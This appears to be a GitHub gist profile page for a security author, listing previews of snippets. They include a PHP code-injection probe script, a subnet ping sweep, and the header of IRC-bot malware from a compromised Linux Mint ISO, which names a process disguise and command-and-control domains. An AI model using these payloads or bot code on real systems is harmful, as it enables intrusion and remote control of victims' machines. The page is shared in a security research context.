Skip to content

Instantly share code, notes, and snippets.

View thesp0nge's full-sized avatar
🏡
Working from home

Paolo Perego thesp0nge

🏡
Working from home
View GitHub Profile
@thesp0nge
thesp0nge / LICENSE
Last active August 21, 2019 11:01
A useless script to calculate the network address with the CIDR /xx notation in pure bash.
Copyright (c) 2019 - Paolo Perego - paolo@armoredcode.com
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
@thesp0nge
thesp0nge / apt-security-check
Last active March 1, 2022 11:03
A slightly hacked version of apt-check that takes care only about security packages that need an update.
#!/usr/bin/python3
#
# apt-security-check - paolo@codiceinsicuro.it
#
# A slightly hacked version of apt-check that takes care only about security
# packages that need an update.
#
# Tested on Ubuntu 16.04.5 LTS, 18.04.1 LTS
@thesp0nge
thesp0nge / get_cookie.js
Created October 6, 2017 08:47
Get Single Cookie function
#!/usr/bin/env python
import sys, socket, requests, urllib
if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <HOST>\n"
sys.exit()
uri="/index.php"
canary=urllib.urlencode({"page":"index');${print('THIS_IS_RANDOM_FOO')};#"})
#!/bin/sh
PING=`which ping`
SUBNET="192.168.10."
for i in `seq 254`; do $PING -c 1 -W 1 $SUBNET$i | grep 'from' | cut -d' ' -f 4 | tr -d ':'; done
#!/bin/sh
#for kali rolling, the startup script is very simple
cd /usr/share/zaproxy/
exec ./zap.sh $@
int test(char *s) {
printf("%s\n", s);
}
int main(int argc, char **argv) {
char *s;
test("pippo");
}
@thesp0nge
thesp0nge / KeyTest.java
Last active April 30, 2020 15:08
A source code to show KeyStore usage for storing <key, values> couples... like passwords
// Code used in https://codiceinsicuro.it/chicchi/keystore-non-solo-certificati/
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.cert.CertificateException;
@thesp0nge
thesp0nge / man.cy
Created February 21, 2016 22:19 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@thesp0nge
thesp0nge / osx-for-hackers.sh
Last active August 29, 2015 14:25 — forked from brandonb927/osx-for-hackers.sh
OSX for Hackers: Yosemite Edition. This script tries not to be *too* opinionated and any major changes to your system require a prompt. You've been warned. Also, please don't email me about this script, my poor inbox...
#!/bin/sh
# Alot of these configs have been taken from the various places
# on the web, most from here
# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
# Set the colours you can use
black='\033[0;30m'
white='\033[0;37m'
red='\033[0;31m'